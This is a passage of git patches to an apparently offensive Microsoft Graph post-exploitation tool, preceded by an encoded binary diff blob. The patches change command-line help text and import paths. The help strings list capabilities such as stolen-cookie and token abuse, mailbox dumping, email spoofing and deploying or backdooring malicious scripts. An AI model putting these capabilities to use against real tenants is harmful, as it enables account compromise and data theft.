ziES!%96mk_`9M@f&svUdRVTv=-Rbsw3puWsDxW??&ssn|Q-b_d;(toLJ2u;n0-FGW zoOvIxli-XzR6TO&Vx=ULlm9Ep<2N8{XIARXFl=~)Uu*~7M;ILC)+a4I3}pNcc)EOP zM$TRkzIE=CJ|Jq6%{{aQVHK&@f~vj#Z0V6>nO(J8uYAoN^Zd4D3MF^&yVL%|bVDPi z7fpZC9rS`l>LBg*j#|CBf{I<@jM2{X$8T~HRCS>aCaZWMDjrHf{6oDr)d$GmXVpAM zPCj@MwnibHM{;P|Qs(&aw2>3rCN6g9A|)&WmFA;4_>n5%p;#aUOq=^>uF;M=KSMOTs7*&NjG|!91Xl!Fw?Kj!W+KVHKAzK zjbRBoJC*~3M+`m%;m=5DzY2`BnHyQks(aJo8zooR=@*akCXh)0d3fDdMf^q@3_-?W z;cHCZC7qFNxep<9Rq(|Nkjm174_xxjb2a{UX4DCfjMf5P7_V&;WQBK^gRaR2Xh95x z8w{v`Rv}a+vGGh^63_3z(21w)ZFfpX&gO0O3b5r(C@r8$gs9UGyo&dg%+1q=ly6vY zHL>D#SsgH=x!X#o_c`3f5V<>+Bj*`OeigzS=xB0B>gC|~RmEe65s93`@JAW+K!1AS z1@eorqT_giY>&>}mTPY?l%ItQ@idP-NXCaR=aFwXk*OvCqvmJRR=;M37w%A$1_^!e z`RH>p>hgTDdyMKm@&MPS(r4W8T%`a)1QG^WTU#H%{H%q_4EWFSt>Q zI$QbzzF#G&>^}!yxYB{MCwkAWQ3n}=m zC;ocm`r>2w9cjy53Ma&xsJ0XUmiQ9$6X)oKo-QLVs$V7jG`np;coF2O!tJQMk}tp` zElAX`i9FlDgz)?YB4TS@Ibu)=yD$)kmq(p4KXd2-cP7X}L-_ zIF;>qs88!|sAfj`;uxaJ@`KUiwuixvujU877W!#yvuIm#k@FMJwez+%RV|bp!$}FT z{;oUWy%Rgt96)ls{nJ)Z3#gHmVG)~3#Ffe=$?x*S6LUKa2lUYq8F|Ca@G7f(=llC> z`nNCU$7WE<{|8%oW(4Y92p2n==A9T9I$PttsaTzZ+Cj)zf89ScN#WHDoR!Li_l%e; zh4>jmpZCMs%ujm5p>+6c-v09}YV1zSnqaBFirVt_f%<+A>A_u;-`IM7Fs154M?eyl zvaP@5&OfMw+!&Nb#bK=DN1wl!m`u}=a<$?_TBP#FCbhNOBh2>&BT~b6q9ss#d{B454ZX0#i57cGNxb*NcPtay_>F4811(l$hfVB>3aci zmS3YDha!-lMS$?0KV!dlzkAl5fCNyWS~_IvMfD2Yd6Wm>cVOR(h`L_hX0E~kRWH1$ zA_s4kK)?Qd&WT?V3t3#Q@tJxEWVxAhyo!}KS?11s3miY+Z1doX6{p&}{jKDpL+2C* z`l+&gm`@0*AB_EvDbF@VDnsv> znJ4ucrO4h;iR6^Seq_1>f0D4ix_w$Teor^(l?|!Z(^lRak@V?-Dgo8Lu zW2~b1Q8-UdSLdhjk=Y1gD!O0Z#on(&jvl!t$md+z=Z%64)7*2A4_|#J2Bds~teclw z{9y;2-k@$(4I5Z3vJC!XBZmF&Mx3ZIJLvi4E|O=3^<<-^pP_OT9&P>Nee?UHH+p+RI)Cq;F%u=8<33 zF}zD0mz_c=iZjcMe0q^Dcy&4zgxXjCGW^7wx<9PCxIDP#Uw6auWH`Fkup>|-R^GHv z+gi0o9vug7)sxr*cY~srNR_Q4Ar$+w(I~Z!LN$3CV95>Q5%L3g+#1RCL%t6B$-u;* z-t=>0BCDRp@0{@Ai~gTYW*!xu59U=SCbWmr&e>czrT?j(4T-r+%JwLUJoYzF`^7H; z$^{qb#%M;kR?I&(%{4yMlrG#=I{bAgezI%;bjRCDMCn$L;%#3nL$7qty~rf%bQX&p ziDa~B+DO+id}TN=H34GYeN__J69)o3UIt=coUL5Nt^u(6V~=V8p%2KPOf;g}xL2P- z)k;ZR7>K%tzD7tKMB@I^%}v`9=vC*7*$|5ySi-Fvl$#iS9xcek;msDV)tGE~ZP?c! zcig)ihsO7;df#PzX&##g4teL>uRZ+OynS)rmuT1xz+FGa#lB>)!M$1-M4^G_>q4kwlh(^n}mL+kC- zOU~iA*ft$sP1TqZ>ZMDKjmPkl-}MY2L9`k$vmWbl{T3)hr2Zcjn%P4m+lvgVPTZ(- zcfF$mtz9dp(Q-#Roc?ahNaI2@yQZhI5tY8oVf*e6L+rlQ=b+#V&P0RrS}ixVAoEQ6 z=bULTeCbFPrB}-?f9|rGbD`^xN549rA@Wk+>$}a1L1iR2@KNwis?-j2UQU*n-^~hMT;55@13u7_M5mq?!Y^ ze#H#L7R<_Ae3lh>`K#KHlI#1>#m*V&;r0M?X+@mbgf9SO5zTIDxF>DsP2;{(bVJhJ zbt~m-8&Fv?Y`_9LoHWPZpXsRt%8Xj3Knd{!XJ$Jv-r=W&VD%aN3N#^g@a0}Zp)Z>T z*M8+s;G+;^)m;}hIA47p!xo)F)GLdeGMZ#O2kB3tI*KYv4&6E!!czpeikXKiHj&HU zc??>0!@VLL;FZ?F!Z*>8Dm`VvUCR8YyNk9b=zYW5`gsZjk)=vSCVaxsJ=k#EN_Jbi z!Lg}ZW!a-JRU$Jw6_C|&r)M$PBqnRzhi$D>8F%9CD*Bxy5V&EL0IEaeprb02?1O;6r9YT zls?&Xf4>&_+aPej2k36pgeD{yn4UyGslqv?@IPa&omT8VoBXqw_!02_zpJf68@- zGtJ616{gqShtGlu%=4Sm3&`x-=%&Ngn;S+(FHaPq6%!&1`P)Xe6xi|t!rpmqI-S6K zGi2Bq_IjIy7A?>HNgMkexBIUd7Di?CnR4}M#LwJ>q*-)x*#X&rbrb4!<+uacqbZRG z>Pipn-g&?6FJEH?mL~r?ulNEs++j-K07DJxB;{PS>CiN<%3j8cQhmZk0o5k!r1~Hc z8sZ2>gl+b(8{{3oYpR;}m}MeU-e6VmM7=q5xBf{r#PKA_3MuovnRM49*tgq#`2y3a zTUnqpOxfnhRz^v^V`kE#so*Zs*y<@ZH)v(@wf=F}OOt*1_ZHt+b+@V{P8bWg4am+- zl@K>0%2aSynYWgFxqJ zMYcaG#9oRW4uhsvn5)!+G}sRaK{lHd-j%!2IWF1qx@$lxb9Rbq4Q`_xDgVt0tq6O%rPJvk3aVMF`SO{q`CW#S-;LUfEF51p5AR1Bc6$eJ z6n~A=_EAT!XH+XrR|F()qg}!Bn<>+=W7Z%U|L|Lj6#tkxwcsa0M&fko3_xx%{z*UT;AK3wa;(1Ou&@8n)oob2lV>EZ*?O zPb1=w)LC=siGP*;K4ShAGB76HbUT*C9AAgwSvY;N@YRMY-EHKIG@Twy{%*LM92UNM zftjlEx_jKF(Z*DptF=P0b>(qfR{ZG?6pcUgWBQ%M}1Gc zcnaVrRmGva*Qijdn59uKx{?`zBLzFS$CkQwcE^R~CNZ&T@11eJh?G^f^^pI`8;Y*6TnL z8t*R@_Q0i#9qZ*qsD24MhtwEt;{0Fy`08O`6L<-2)l1~lg-H)M;D6;bj*FdKy=FJb zi&SjZv`N5S=xi#`Qshpi5$Q$nC%-7wj`KT>UkgcX24iR#Ci932*H<|Y%L7Uj?98d& z(hN65)X-4sm;Coex9^-#(zlVt_;1H)0ao-g2I5CLN~CggN|`qIB*nCT=|HR$>}W=8L5Dg| z`V1ibiseF(1wY}^o?9fb=K>`LFU2lJv2|uuL><+5o40m|Q~h~9T+o?Gr`Pdkm6E{n zDO=jc;J8}jXPUqV4X~-as)xUBC~B=;4+38bXL%^Z6I`~5`nQzCKxhx8k38hGDY?Q`(iL&a; z=WKA$OMH+5sBpcvkJsR<#vbDosO`+&m4mCCoBS1{N`rQT! z>kLV%@#BUxxYXq|F{)L(^g0`<^m@bqg8ixZrZLDHB}K1R;{A436RIiD6W^`AlTdIF zr4DJ3FYs)90qGa)#~01Ze!vbhsX?Zn;m{(C6*wV+uARrAgf#Tj4;#W4QUoP4PY6G; zl$>R~O4y#zLxTd0{m%E!3hKy_zaNSQ>Y#fZY(C-0&G-@@%WucJRdMFhV!(P4m7>96 zgdUdjup?vKk&N361EI}#x!FvG|Ansok~iXI8gMou8Lg+vy3if`eePxPQYHv*C-u&s zyN44pVV(B%5HvQmfHG=SHVoy{P{pVwYbWB9E6^*$@XY^iHEFt*L9GP74$BJ~#X=UV z%p2IP+J#lildjZ9LAr_EgAcj74@AwWDx_K+_JyrnObOFd!g+|e?=)#i)XF;VpB%wS zk?PPUMC_>>p<1(`G$$+C$}=*4vL4Z++-+@!&Bbh%Aj((x$JXhm`pcya-((n&G^m%u zN(3y`eFKVb{*IhYP6b>8ZQez6AR7*fFSb@cCFfQJ`C>ZuHb<|!fnzb>PjLCC{vN$C z5VTPXo#HvrXID%9Z&nMcR~Ga|2vs3>Y=UYOuoRWgve%30emQL?h&m`zbPgp5;G#>K zu}|jhq2#YI>UdW#;fcs@S^h8XK{QtAw&vd#m`)}7)Mgv#d^!ChFhyVf3L=dwxYX=D z4Pn5G22SJ6=uMc_=Sg^+`&KfyK!4rZ=mp-nrb_Z?dCR!2Fr{FY;j7y|(zETZRo7y5clh}oPfS*to)9tXt3JT$5q+os%%nnR)19Rz zwd}0jNWkg0(>k)h7@9u3#}0}8NUHRFX|yk|v1YU118l!Mp^?h}1>C|nXpp$SHj>u> zUmGu4)bdQL@l_V`CA6jO6D_>kkLwWFRHQGmUgCySb)BwSZ%YqQn*>WZ z{3`kyvw320DQV8AsT0e3P)l{wUenWUpi`##=dC-zNR;Nc{svbq7D zBmVJ-h@H}APbWV?G~i{gC`X*eHml7_&~3yV${wBwQhMG$`vCu0cKM*dk(Xb56FU(O zo^MXsQSw!`rc)tv_hQw~#L6gB%;@P3leMi1a% z-TX9r`HSg2WJ!wdJb3f94-}s%pwF@1>9=@D=);Rb!j`y_AaCz|AKMV;oaDU>m_XH- zO5a=v`)wGe8sUYnH!7}5hE!zF>I$!5?DNv-^aizN^!v|>9ppO!^*PyB6E+MbAWk`% zQIL1of#)0aQ}H6Ob3(yo!NPacpnHsm!Iocef=s7-5@(Y+(v21(AV%sz^zFji%k*(A zsoVZKI1WFp0J8BDYra^o*KJb-OQYHQJ zr^F$CCgueXx+3xxgb)Y$yM>h`bzRN;OIwLcjz-w01fbV|?OBfB@^SF49$)2mOD(9TPe=Ua4V;It znoV%YvlBSS(M73D&zoy`c@qXF?%q*)Xv@Ps3oSZ_dxeJkjiOtNC>OFw2OuK5DbJgG zda}i~BfWy$kzZiUTRTCd#gOmh;zS6?{m6MoDw5Ay^1J~9ge$lgiMWj&Y{D%NB zP|uqGo~#L`w|~8|EX_{i`_`2Dn-zU;)kQug4wl#wdh;ii+06(xpkHM;lbCG)Xoxg0 zL*_o1Hk)ZeeZeHS^VC|9)&Bni3J}8aqurg)E^K-#5J1nxa9pGEx=hs1;zbfLPwTu zYO7B2#hzP(GU#zaf=W*Z4f?jkN6TW6fMTxH^>?l`vxbotj*iIB9BT7ECAd0ff%uCC z#qzDlm(^6`8<~dGVke}7) zwa$MaG3?Mf!QjE$)jy@qy3moWkDa`c7C)v0u?!EZ>g3t!9(-R5SO?z}og#K(Xw)%o zUytM0-vR};n-ygKxZdx_MGbsH(l@`eubriLey4cZ*#6_hj}|^KF^hJ-u}E0og+Cj@ zI_(jYfKvkzIQIs6zOoaEB*=e+iGtd~CjKcWdB}-NB#egUcYqwq5wn7KkD4fdfpVxL z7&-Y5*e?fsaB389Kg=>Emc!rKws76Me5zD}s7mJ&b#&oz!7D%E9jmpjPg5;Pv-~7W zPVz#Q;w$I=t}x_g`RfNIO6)cE27qFp5optTL_e8$Za7Qh#0f@-Rp5A5yX^T&vPhCe ziWRt0Hw=OS=Rb$(XZq)^uESxo4JyPE5yc!tz{s zeefG+@=_y%F#)ngdub=C7oEj`{+3nxwGQ-?`@k&zU~dC7f_&p`i*T%@ob85&4n@TK z%ukrdoWAYgvzztLA=!sMT|A2ZnTz%6D!+CR;r-Ta*=c`9j_M!?cJ`%vCa^Mi({c9F z(4oC&7=QC5qqyUcYi?woN8zb0Jz^?V)?SxIny^JE@$^sY}!n4Rl z`rjVK4`TlJ303_K(~~KZkfgz{9L-DMNT}yg{(YRA?dIsASv8<&TE_mhSq?IE~p zKP8*V*8-QYkH5K4RoMEyYS$Hiv~pm!7oX42$UA4*RbjS|zBGE7B^jogL3H10D&IwV z`8=>EUMU3f(f=Fj&?HVj`Bf>Tu5vU(tmh^`Xi(5h&t1a-uwqwk1McZdv1ykKLTbw+n>QYdsv}Rtx z2E=z|H<4zR&D-}WR&C{RMjQMS>o=yk$O}$vZDvG7RXM*t$+T?LCaB>`kpyt@WHL=x zkWygYePUBc?jNok=o}pb^;=tY^MSf%_(;&{r!ddO$6X5%s>_!CALY$Lx;c&2(b$br z({bD=y}+?m8D5{byuSIbJga4*J!&MQTj)nAjr~5m{tXu z?p3?is}bWFG41y@T{FGG0I$SjJ-Hr!r@HYsJdyI9%T1n8^scTkrnm-sys6K^J2ajPm+?%mk4<%53SC zmTi*s+4qg^Bip{~&{7v{yLa5K7tDK-AZ>a|a5(5+%?uinT-JeRJD=;h z?RbDwhzgCP&o5&8^x6HxF`Vy;J9uk0xUTVoSODSWz8K1(U}Q|yy^6Dk7ld~vWk1|z z?8*0N6GFkh`(NyHrUGx*qhOnCaL_TS4(f)q5fq;++e_g453R~fkaBm_knd`69TS%G zN;y)U!Cgt?r%rQ${V{w-8sMl!{K*YgO@y(M)0~~*aZ3f=&}=`CT2Xp|kmBG6Sjh2oa-yFg zsw~g$iA|c@Q8Lwqs^eegj~Eo<mmI2@5~qd$V>k z#SIFUxNd%LXoW2#{vYLf2TXw0gnw1J!`M@Tex}yl|Z;+*w*cE;W`w@8~ zk|;WP=LsXASgZb8ky3;fHvoR8{V>XO1tb8~WTN{I<3Rh}?G%J)N!@QMfk)}l=@T3g z>3;t+h~}1D4e%62#p^(&7m&&7s1?&?e;QmRL-(6~TMu{Fn91f zaEpZVs-*fH4c$a4qY;j6n2Q~=AAp96>Y@Z+zcYOkh*lfHzs zp#>!pm?PlRGy=6#Y{f5Gl{Pney{TEepwfp6-@v=_?Ks2ytkr8y`-P|%kdu}D!TAm4 z!5nUZi-iYnNvM6B8uF!vlw5^xR>YTW_f9)X&DD>ZuL;Gm_Nni221@QcyXXauHa&fV zJA|59xJ8>N7h3(vA?Xf@UES>q@>&O0X0Cg791RQ%)a_dYJAi+8B0-*c1F@6cazCTK@x3zwV%oWbdeQV;`?;IKdFtK=+BC6MkBgN%!wAN1i= zi*9=Bx9klWZe;H*n5WDQcx9FGKaOr`i-H&i4wG%MGl{FYHCP|uI6OUVyKa!&qx56z z?egHtt3D-Rb~ENP)TiuO;24$;b7R}Gci|2vySUvS-+Q+oMJDWTqWo3Oz8|nql%Mao zPhpDVK0zBWV8dImsZ6|N+UuTUY|Yipk|bUa-q!x3V*{bkXfnc)Y&mc+7);TQP{%b+ zh~HhAGN)l}m0?^TiTI-6M8Av>q2f{96roao=KA(-Wz^&K;Pu{l1sy#kGm*eSuV;iQ^uPBZ&5OaVm}FG zAQ2E;zn5L-K zh*$-49dbaK>S@=#KV!*_Ocs+$F3QJE24iK)Ys{Ueo}1h^&HYdkR^}x9h|&{q>-yy& zKCJI|#y3dg+AFjE>cCCx)1IkxH%`jgrWgfuT4UK#6E9lycI)^8tvFD3a%0?mJ+Wxv ztt^!lK1gfzx(qmU{LG({h)PTrLVX6^B-;&qa>*Go|23we;S#J9 z^oBe=aDJWi>tt+?9A)au-EihS?de)B#Jy(GFX&mGYB}SfyC>f#E+Xul^}0SJ~uHijhf}k9=biAVx=%{A4>cA_^Qpz`^ zzX%*Dr2EezOv;D;7j17)W3Se9 zP%;-zl(1+C4DGzPu!J$5UUJO@Ulph|EktVg@=xv4lP2CG8aT_~<9zf#8{~}Ckqw>S zLEW5h|4!ky`;8jo{oLsac4#ceu0#~jN!gpB#~+Ombs$Kg5=plPA!=TD1OyUVVKuI{z4=d9Ft7F`^Q-eS`KeN z3GTm6I6ZSJWKhS-$YrmqK?F1miwFCOcU2B5fwRvJ!!W4ZRPzx%yJ$!nd$3t?f>-#D zT$T~|y9cP~#$GAme=H7&9=!Lg$rzRez2A(RJxSVc^6yy-(+jxPNep2$T2sJkDi?7J zIsX{8aFXv(W}0C0kK@J4`}>n2nD05z6(>iR7S}Q5Zj%!f4N&GjS8WDN~IEA zj*iYmLE1e3a1Qf!Lz1c2*oIYXf8V(1-YQhnk$5tHq%H{OY8Il95@2AYbCmE zj|i@;qI_P)5Aoai*-WyL@?Ae9;4U8{$eY_obaPFEdo!tkWMj-cu&w-PVAh@;u+0LK z$zb`~cR$@bYhKGBaN8=FHV6#8;8EwecK|$OS3@90Qb_S;ED2YR@sw+uFlj)FtQIwPK=fqp>jMduWjX&_I@szb92=ooW_BSUAlGJQJ`)bOb=el{2!Yv<`N=PXWFgd67U-%=8Wu4=>K;``t=7EW z!s-ViF3qHP*4{9LW*yfYi%uOi#`euv*^D~>3(&g*lU&>GUN?=+f*7_3MY)R2#-qLfOSwr#vZIpnyq!R_ev#m5wIH=sy0N|kszg()l6 zwt?NV_e1{s|I%R3A_N_Au5jWPFNW^PRyTGvo0l`^hvr6tHy%SHoq2b>ZzI(O)n2=- zDl-jYTKQ_je3q>(6zeo9lsu>H@diL>^A2BQ59e6OsqBnZVspPBd4A33{?W%oUYS2C z_JRkrMwOBE5||2) z-ST{rF;s2aR_mO1WIV#0Mw+mBB^h$uh#fgAFv)KwHFW7uPM*}6gJf2>M`tvxYLOz> z`L`Z1{9=^Kc3j#_sVQ%YFEO@%;LH4vCjZ!~`UZ~L)o6pMDs6e-+;6K9hrC8{q6WVb zs~b0&gVj?G(Shum6Ps(6oN^yCFFeK*DQ@#kOJCNpz9B@oqO+eTm^KR1jjw7awqLdo zOm(1<0%!|*EBxC?^uStU?{K-?kmmt_Xg_{Nd)!33ff zVYZRWYY#HTgsl}_%U&yoHZ*XkL2b572RpKzscNT{J{~+3Y`%JiZ35d3am0zjM?$S~ zyIxxRul?#9?l`n@b5pcgRmn23J@s5bpt*_7RYQ&EHzd~m&gstKIBby8a8KKUfaZ!0 zq}jOTW-e*Nw^o=ml_*6IzXb5#AZTJpcCP zj2wueiP%VYESV-j*lE^9(Kzn8&3FESY-)tBhB+JiJ_uBOB;oqIKrFpr^Z@r>;Wn-gUt~mzm-GWOm|BdydR{&mzWm2zbYjFYQ;<-~UXL+B zj?oL;4U(i6$bfI6ePEgas#`aPvgSTmS;Wsg2D{?^O#WwrqKd+SSh;5d_D=IrmlU%p zgI9;N?WtQ3D{+gi`0BgNS9bGjC7P2(wbj#mVYl~f6O3oM$f2GCZdAA9E;m_>)*CNe zDWuq@=cDCHxt?+B~M8OS-xu zB5&}uW!rv*S6Uiuu zVrS=6R3s&lo@xTKSso;Fr+ISX^Wi7LZ)9>eEXMK`(<#LQEPTx(rGk@(JhkeC(X->{ z9vTtE%o=gmh_uX%ywpNfTNY>Er0%Fll2~j!4ai+bEnnT#!2>5+ zROvyL-i5y<(Vqu)(2t;+OlQtrvLX9YKo!Ptu4I9q25OFEogT^n3^!u4nG&F{fFono zQ0~D%50@4Vg!Dj&l8n-0S*FuiIY@}^-PuA`ziWMutu0Gx#KPXzXv-)CnicNqGJBQ1 z3#^;`i@X$2(AGSJ(c#Iz%~D0m-P*kAm;bIS``m(p=xB}kCFD^b9{lR>lV3YCx<8Ng zVkkg}Qnf2YxNcxTR=z)82j)OJ&u~aa??1UTLJk(ZEI?DWhj3V1Zl0WcsO=`vRpyXA zcX~-sYu258lYZOu1!!)#l@>;k?mpj@{RU~`lfWu18H%4L7@TyCKE8M_*MCcKfv0*I zpBuSZi0qm%DM5lp4kq9VmBj~uH7Nz{<~Z1W##cIDavg<+&~T*& zr2!*OgtC-uC*a(qBcji)fw4vU)4)Am+WDsSJuk~P?8FpU{*#OD{{8WF?VKAk&Rm1MAAzfJVSnXXktW?4vC>qJmH?OKzwUqjXV<3` zUah(QUh)2tLN5J| zbcNS5PT$;GI|)j@n11?%qQ?3v>W{mci^v1^7jvG;WEpI-^2@5K8!AeS<(|lWa$^?w+(f+~yBqxn9hrm8 zB#21qG#2tPJJA6Lzl9Kjep(W(Qw>sv%ZW(wVWb z;21jJzEUJ0JMEq;n{Rtm`5Xj^UB`(XM;KtHNL|lmjd5zDNU4EUzLfr~J5IXAhgo|A z$H&ocSrDLBu^jYXzba@wSm{J%me527l$XYFcC7RsY`s8vr3Mx_KKE@D_!*#Va$tX8 zPmbWxNlpjA+*9-U$rZ#?Rea!jJ1Z zM>;pLw=Yqv?)%wz1l^ySmEeW^aE#YfjCR&m^N!AQpP(0LPOsejI!OmUdl;alen-Ct z31+i;z5MmMv97lp5=R_KIGS8yQXIVJ&5ZcVLpy#`33#RWr3)`P2ba918ZZ0y8P|xFs?ijZ z_Qz*#(irH8+byIkY{0VL&u*Q6rUjANnnpvOb|QDqbV1ot z+&w_O0|ZSShM0ipOsl1ZJYFaq|Ni@@0>;Sjn)<3G??zOtPk3} zpFe)oie&Khw`;`o08D>3L2bXStPFPApn$bD8CMw6&Z8JIlN2Yo2IP#y&^YIJ+~Bw215 zN%AG64CD5UH3LVcv|s(d`$eNERQ21gQj08ykG#wynuQQ-K|7`N(^A?X=IC3-M8?M) zrqZ8%V_Cv?`;2urMZcCjdqd2XR!M@eGT|<7xYCz0g4>fI%JytL{+Y+|Sq`fC8O8a- z9F&nLY|%a9S^x$UnHD}W-Xo3SE9QCeuK;*GSXS#gcG~P?sqJtEaawL}By(Xes0BWd z^I*UYDx0) zF*Q3?)*SXdQ^J@_XtvDF_~St5TK7n2-9WsNoRfImJMS5r=mo4VBi!S3F;ODyR#;cO z*I~~jg6_-M@suD^y6Qu-1qUf8#^1OmZh)2!xYjCTtQ%+40w zxJC^Sq`%1RHO}6V`l?ny%??6WvJiR zlIpIG(U;wD2PHdz{U54b2vj6QNqx|uLiX~6tNSz8&5ruc*6N>KU$l#Sn0}k7I0qyN zE1xWx_VyO5Q1S8iT&ERpc+(4Xx9r_tR>k%=>w@o})X%WPRSNe*7FUHJ?o5)_6PInA zEmZ56+dQQH(z>}eT{=ThJ)(+B(!r(GZuB#Z4kU?k#GB=tW4k_JH z!t8d=v4`-!ss^vZ-`iZD)dHb2t zoW$zC-oqWMk{3Myo0=d5-*g`E$9OpZ9tg>OKxD~lkU77SHdyB=Q3K4VWHnGZi`v_{ zzPgJ%I0OpN$2e#G-a5kxb~kR@`u||8zDgKE`#hIJHVSv`yugRoiWb=m*|)n<2o?NK zGDf#=nq@h4Ne23l|CuC*Z%XUY=o9qSbzb|fM!umQe>aKA+poa-+M;xCpKih9LeG;Gc^NdFb?;LlXl2Xx-OQFS%>==Kljud-cr# diff --git a/graphpython/__main__.py b/graphpython/__main__.py index 747c14b..fd7f89a 100644 --- a/graphpython/__main__.py +++ b/graphpython/__main__.py @@ -34,16 +34,16 @@ def parseArgs(): parser.add_argument("--command", help="Command to execute") parser.add_argument("--list-commands", action="store_true", help="List available commands") parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") - parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie value") + parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie") parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") parser.add_argument("--cert", help="X509Certificate path (.pfx)") parser.add_argument("--domain", help="Target domain") parser.add_argument("--tenant", help="Target tenant ID") - parser.add_argument("--username", help="Username or file containing username (invoke-userenumerationasoutsider)") + parser.add_argument("--username", help="Username or file containing usernames (invoke-userenumerationasoutsider)") parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") parser.add_argument("--id", help="ID of target object") parser.add_argument("--select", help="Fields to select from output") - parser.add_argument("--query", help="Raw API query (GET only)") + parser.add_argument("--query", help="Raw API query URL (GET only)") parser.add_argument("--search", help="Search string") parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging") @@ -51,7 +51,7 @@ def parseArgs(): parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") - parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript and backdoor-script)") + parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript or backdoor-script)") parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") args = parser.parse_args() From bfe126ac2e2328f185d7caa985c03e3d9c8a021e Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:17:06 +0100 Subject: [PATCH 05/37] Update --- graphpython.py | 2 +- graphpython/__main__.py | 4 ++-- graphpython/commands/auth.py | 2 +- graphpython/commands/cleanup.py | 2 +- graphpython/commands/enum.py | 4 ++-- graphpython/commands/exploit.py | 4 ++-- graphpython/commands/intune_enum.py | 4 ++-- graphpython/commands/intune_exploit.py | 4 ++-- graphpython/commands/locators.py | 2 +- graphpython/commands/outsider.py | 4 ++-- setup.py | 6 +++--- 11 files changed, 19 insertions(+), 19 deletions(-) diff --git a/graphpython.py b/graphpython.py index 4586ff0..53228e9 100644 --- a/graphpython.py +++ b/graphpython.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 -from graphpython.__main__ import main +from Graphpython.__main__ import main if __name__ == '__main__': main() \ No newline at end of file diff --git a/graphpython/__main__.py b/graphpython/__main__.py index fd7f89a..aa9706f 100644 --- a/graphpython/__main__.py +++ b/graphpython/__main__.py @@ -3,8 +3,8 @@ import sys import argparse import textwrap -from graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators -from graphpython.utils.helpers import list_commands, print_red +from Graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators +from Graphpython.utils.helpers import list_commands, print_red def parseArgs(): diff --git a/graphpython/commands/auth.py b/graphpython/commands/auth.py index a7b8dfe..3cef678 100644 --- a/graphpython/commands/auth.py +++ b/graphpython/commands/auth.py @@ -12,7 +12,7 @@ from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.backends import default_backend from urllib.parse import urlencode, urlparse, parse_qs -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token ################## # Authentication # diff --git a/graphpython/commands/cleanup.py b/graphpython/commands/cleanup.py index 2707e38..ea78391 100644 --- a/graphpython/commands/cleanup.py +++ b/graphpython/commands/cleanup.py @@ -1,5 +1,5 @@ import requests -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token ########### # Cleanup # diff --git a/graphpython/commands/enum.py b/graphpython/commands/enum.py index bc67243..b9c47ff 100644 --- a/graphpython/commands/enum.py +++ b/graphpython/commands/enum.py @@ -4,8 +4,8 @@ import sys import time from bs4 import BeautifulSoup -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from graphpython.utils.helpers import graph_api_get +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get ########################## # Post-Auth Enuemeration # diff --git a/graphpython/commands/exploit.py b/graphpython/commands/exploit.py index 3b0da0b..571934d 100644 --- a/graphpython/commands/exploit.py +++ b/graphpython/commands/exploit.py @@ -11,8 +11,8 @@ from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.backends import default_backend -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert ########################## # Post-Auth Exploitation # diff --git a/graphpython/commands/intune_enum.py b/graphpython/commands/intune_enum.py index e4f4ef3..9ed9f02 100644 --- a/graphpython/commands/intune_enum.py +++ b/graphpython/commands/intune_enum.py @@ -1,7 +1,7 @@ import requests import json -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from graphpython.utils.helpers import graph_api_get +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get ################################ # Post-Auth Intune Enumeration # diff --git a/graphpython/commands/intune_exploit.py b/graphpython/commands/intune_exploit.py index a345809..af245b6 100644 --- a/graphpython/commands/intune_exploit.py +++ b/graphpython/commands/intune_exploit.py @@ -3,8 +3,8 @@ import sys import base64 from tabulate import tabulate -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from graphpython.utils.helpers import read_file_content, graph_api_get +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, graph_api_get ################################# # Post-Auth Intune Exploitation # diff --git a/graphpython/commands/locators.py b/graphpython/commands/locators.py index c3994b5..13e3004 100644 --- a/graphpython/commands/locators.py +++ b/graphpython/commands/locators.py @@ -1,7 +1,7 @@ import requests import os from bs4 import BeautifulSoup -from graphpython.utils.helpers import 